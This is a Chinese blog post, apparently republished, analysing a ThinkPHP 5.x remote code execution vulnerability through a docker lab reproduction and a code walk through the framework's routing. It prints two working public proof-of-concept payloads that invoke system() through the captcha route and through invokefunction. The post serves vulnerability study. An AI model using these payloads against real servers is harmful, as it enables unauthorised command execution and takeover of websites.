ThinkPHP5.x RCE 漏洞分析

admin 2022年2月10日01:01:30评论1,729 views字数 2942阅读9分48秒阅读模式

ThinkPHP5.x RCE 漏洞分析

破军安全实验室


    忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等

本文约3000字,阅读约需8分钟。



ThinkPHP5.x RCE 漏洞分析

0x00 环境搭建

ThinkPHP5.x RCE 漏洞分析
ThinkPHP5.x RCE 漏洞分析
ThinkPHP5.x RCE 漏洞分析


Docker地址:

https://github.com/top-think/think/releases/tag/v5.1.29

漏洞影响范围:

5.x < 5.1.315.x < 5.0.23
此处漏洞复现以5.0.23为例,源码分析以5.1.29为例,5.x漏洞存在的点都在Request(thinkphp/library/think/Request.php)类中。
环境:
Docker或者phpstudyCentos7 64位

源码审计工具:VScode


ThinkPHP5.x RCE 漏洞分析

0x01 漏洞详情

ThinkPHP5.x RCE 漏洞分析
ThinkPHP5.x RCE 漏洞分析
ThinkPHP5.x RCE 漏洞分析

  • 漏洞描述

ThinkPHP 5.x版本存在远程代码执行漏洞,高危,可被getshell,该框架在今年4月份公开存在反序列化漏洞,但是不知为什么漏洞上线后不久被CNVD官方删除,这里还是简单对ThinkPhP5.x漏洞进行深入分析,因为在之前漏洞挖掘过程中发现有很多网站使用这一框架,当时只是用网上公开的POC进行验证,并未对漏洞产生的根本原因进行了解,就本次针对该漏洞进行学习。


  • 漏洞利用

1、环境搭建这里直接采用docker容器搭建环境,这里使用vulhub-master。


ThinkPHP5.x RCE 漏洞分析


2、使用命令docker-compose up -d启动漏洞环境。


ThinkPHP5.x RCE 漏洞分析


3、访问漏洞环境


ThinkPHP5.x RCE 漏洞分析


4、漏洞复现,漏洞复现直接使用目前公开的POC,下面会对漏洞进行详细分析。

POC:POST /index.php?s=captcha HTTP/1.1Host: 192.168.1.88:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE9.0; Windows NT 6.1; Win64; x64; Trident/5.0)Connection: closeContent-Type:application/x-www-form-urlencodedContent-Length: 72 _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
5、直接使用burp拦截数据包验证

ThinkPHP5.x RCE 漏洞分析


6、这里推荐一款比较好用的ThinkPhp 5.x漏洞验证工具TPScan,该工具由雷石安
全研发。


ThinkPHP5.x RCE 漏洞分析


查看当前文件ls


ThinkPHP5.x RCE 漏洞分析


ThinkPHP5.x RCE 漏洞分析

0x02 漏洞分析

ThinkPHP5.x RCE 漏洞分析
ThinkPHP5.x RCE 漏洞分析
ThinkPHP5.x RCE 漏洞分析


  • 产生原因

1、路由信息中controller的部分进行了过滤,可知问题出现在路由调度时

2、在未修复之前程序未对控制器进行限制,导致攻击者可以通过引入符号来调用任意类方法。


  • 源码分析

1、首先需要先认识ThinkPHP框架的基本目录结构方便进行代码审计。

目录application为应用目录,该目录先存放一些公共模块


ThinkPHP5.x RCE 漏洞分析


接下来就是config目录,里面存放着框架的一些配置文件信息如session、log、cookie、database等等配置信息


ThinkPHP5.x RCE 漏洞分析


然后就是route目录,也是本次漏洞分析的一个关键点,该目录主要提供处理页面时的路径。


ThinkPHP5.x RCE 漏洞分析


接下来就是public目录,该目录主要是对外开放,作为WEB目录


ThinkPHP5.x RCE 漏洞分析


接下来就是thinkphp 框架系统目录,该目录主要存放框架调用的包、类文件


ThinkPHP5.x RCE 漏洞分析


最后就是extend目录,该目录主要是第三方类库依赖包等等


ThinkPHP5.x RCE 漏洞分析


漏洞分析:

ThinkPHP的架构:

http://serverName/index.php/模块/控制器/操作/参数/值

1、首先找到漏洞存在点为index,该文件位于public->index.php,这里一共有两个操作一、加载框架文件base.php;二、调用run方法对客户端传递的参数数据进行处理。


ThinkPHP5.x RCE 漏洞分析


2、跟进run方法,会进行初始化然后绑定控制器,并对路由进行检测。


ThinkPHP5.x RCE 漏洞分析


3、之前分析漏洞成因的时候指明是路由调度的时候出现问题,这里我们直接跟进roteCheck方法。


ThinkPHP5.x RCE 漏洞分析


4、继续跟进path方法,方法中对pathinfo方法进行引用,接下来直接跟进pathinfo方法


ThinkPHP5.x RCE 漏洞分析


5、在pathinfo方法中发现直接引用当前的类中的config方法。


ThinkPHP5.x RCE 漏洞分析


6、跟进config方法,发现对路由检测会返回一个dispatch,返回值调用的是route中的check方法,所以接下来需要跟进的是check方法。


ThinkPHP5.x RCE 漏洞分析


7、在check方法中最后会返回路由解析结果,注意这里是针对url进行检查


ThinkPHP5.x RCE 漏洞分析


8、继续跟进url类,这里可以看到Url这个类是继承的Dispatch类,然后执行init方法,继续看init方法中会使用到Module类执行init方法的返回结果


ThinkPHP5.x RCE 漏洞分析


9、上图中的代码可以得知刚开始路由检查后的的dispatch的值是实例化的module对象,当代码执行到$data这里,这里data的值会被置为null,接下来就是进行条件判断,然后会执行父类中的run方法。


ThinkPHP5.x RCE 漏洞分析


10、跟进父类中的run方法,这里会调用到autoValidate方法进行数据自动验证,最后再调用exec方法


ThinkPHP5.x RCE 漏洞分析


11、接下来继续跟进exec方法,这里调用了当前app的controller方法,到exec方法这里分析的差不多了,接下来我们看一下poc的关键构造。


ThinkPHP5.x RCE 漏洞分析


12、POC如下

?s=index/thinkapp/invokefunction?function=call_user_func&vars[0]=system&vars[1]=whoami

这里个人对poc的构造比较好奇,为什么会有这个玩意,后面在网上找文章发现,这个才是产生RCE的关键所在,首先我们需要了解一下ThinkPHP的执行路由顺序:?s=模块/控制器/操作名,POC中的是指如果控制器的名字中存在或者以开头,就会被当作一个类,就相当于实例化任意类进行执行,导致该问题的点在于parseModuleAndClass方法中。


ThinkPHP5.x RCE 漏洞分析


ThinkPHP5.x RCE 漏洞分析

0x03 总结归纳

ThinkPHP5.x RCE 漏洞分析
ThinkPHP5.x RCE 漏洞分析
ThinkPHP5.x RCE 漏洞分析


在漏洞复现过程中,漏洞复现过程中没有太大的问题,因为都采用默认的控制器,但是在实际渗透测试过程中会遇到一些问题就是,使用POC测试的时候会提示控制器不存在的情况,对于这种情况的解决办法就是没有源码,俺也不知道。

对于这次代码分析到最后简单了解了一下漏洞产生原理,莫名对代码审计产生了兴趣,今后可能更多从PHP入手对CMS进行代码审计,也希望组内大佬能够带带我这个小白,本次代码分析查找了网上很多现有的资源,也证明了目前对代码审计这方面还有很多欠缺的地方,比如对一些方法的调用、继承关系,以及方法内的一些数据处理不是特别清楚,这也是后续需要改进的地方。


 声明

    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,破军安全实验室及文章作者不为此承担任何责任。

    破军安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经破军安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


ThinkPHP5.x RCE 漏洞分析

破军安全实验室

# 长按二维码 关注我们 #



原文始发于微信公众号(破军安全实验室):ThinkPHP5.x RCE 漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月10日01:01:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ThinkPHP5.x RCE 漏洞分析http://cn-sec.com/archives/770918.html

发表评论

匿名网友 填写信息